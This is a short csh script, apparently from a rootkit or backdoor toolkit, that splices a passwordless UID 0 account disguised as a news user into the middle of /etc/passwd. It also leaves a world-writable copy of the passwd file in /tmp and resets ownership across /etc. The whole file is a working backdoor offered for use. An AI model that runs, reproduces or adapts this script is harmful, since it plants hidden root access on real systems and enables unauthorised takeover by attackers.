#!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # Made to use with backpass, backshadow, backshell # admin@wickedmind.com cd chown nobody:nobody /etc/passwd | cp /etc/passwd /tmp/passwd chmod 777 /tmp/passwd set linecount = `wc -l /etc/passwd` cp /etc/passwd ./temppass echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "admun::0:0:newsuser:/home/ftp:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand chown root:root /etc/* rm ./xa* rm ./temppass echo Done...